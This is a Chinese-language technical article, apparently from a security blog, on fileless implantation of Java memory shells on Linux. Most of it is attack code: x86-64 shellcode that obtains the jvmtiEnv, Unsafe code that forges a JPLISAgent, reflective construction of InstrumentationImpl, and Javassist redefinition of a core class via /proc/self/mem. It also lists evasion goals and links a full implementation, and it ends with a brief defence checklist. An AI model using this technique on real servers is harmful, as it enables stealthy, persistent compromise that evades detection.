Linux下内存马进阶植入技术
字数 1172 2025-08-04 00:46:02
Linux下Java内存马进阶植入技术
1. Java Instrumentation API基础
Java Instrumentation API允许开发者在JVM运行时修改已加载的类,是内存马植入的关键技术。
1.1 核心接口
public interface Instrumentation {
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
void redefineClasses(ClassDefinition... definitions) throws ClassNotFoundException;
long getObjectSize(Object objectToSize);
void appendToBootstrapClassLoaderSearch(JarFile jarfile);
Class[] getAllLoadedClasses();
}
1.2 两种加载方式
-
启动时加载:
- 实现
premain方法 - 在MANIFEST.MF中指定
Premain-Class
- 实现
-
运行时加载:
- 实现
agentmain方法 - 在MANIFEST.MF中指定
Agent-Class - 通过
VirtualMachine.attach()和loadAgent()加载
- 实现
2. 无文件Agent技术
传统方法需要agent.jar文件,而高级技术可以绕过这一限制。
2.1 技术原理
-
InstrumentationImpl分析:
Instrumentation接口的实现类- 关键字段
mNativeAgent存储native指针
-
JPLISAgent结构:
- 包含
jvmtiEnv指针 - 通过
jvmtiEnv实现类重定义
- 包含
-
获取jvmtiEnv:
- 通过
JNI_GetCreatedJavaVMs获取JavaVM - 通过JavaVM获取jvmtiEnv
- 通过
2.2 实现步骤
-
获取关键函数地址:
- 解析/proc/self/maps获取库基址
- 解析ELF文件获取符号地址
-
Shellcode注入:
movabs rax, _JNI_GetCreatedJavaVMs sub rsp, 20h xor rsi, rsi inc rsi lea rdx, [rsp+4] lea rdi, [rsp+8] call rax mov rdi, [rsp+8] lea rsi, [rsp+10h] mov edx, 30010200h mov rax, [rdi] call qword ptr [rax+30h] mov rax, [rsp+10h] add rsp, 20h ret -
伪造JPLISAgent:
long JPLISAgent = unsafe.allocateMemory(0x1000); unsafe.putLong(JPLISAgent + 8, native_jvmtienv); unsafe.putByte(native_jvmtienv + 361, (byte)2); // 设置关键标志位 -
创建Instrumentation实例:
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); constructor.setAccessible(true); Object inst = constructor.newInstance(JPLISAgent, true, false);
3. 类修改实战
3.1 使用Javassist生成修改后的类
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("java.io.RandomAccessFile");
CtMethod method = ctClass.getDeclaredMethod("getFD");
method.insertBefore("System.out.println(\"hi, from java instrucment api\");");
byte[] bytecode = ctClass.toBytecode();
3.2 执行类重定义
ClassDefinition definition = new ClassDefinition(Class.forName("java.io.RandomAccessFile"), bytecode);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}});
4. 关键技术点
-
ELF解析:
- 读取/proc/self/maps获取加载模块信息
- 解析ELF头、节头和符号表
-
内存操作:
- 通过/proc/self/mem修改内存页
- 使用Unsafe API操作native内存
-
JVM内部机制:
- JPLISAgent结构布局
- jvmtiEnv获取与使用
- InstrumentationImpl实例化
-
规避检测:
- 无文件操作
- 执行后恢复原代码
- 不依赖外部agent文件
5. 防御建议
-
监控措施:
- 检测/proc/self/mem异常访问
- 监控关键native方法调用
- 检查Instrumentation API使用
-
加固方案:
- 禁用不受信任的JVM attach
- 限制反射访问内部API
- 使用SecurityManager限制敏感操作
-
检测工具:
- 定期扫描JVM中加载的类
- 监控类字节码异常修改
- 检查native内存异常分配
6. 参考实现
完整代码参考: https://github.com/bigBestWay/ice
该技术展示了Java Instrumentation API的强大能力,同时也提醒我们需要加强JVM运行时的安全防护。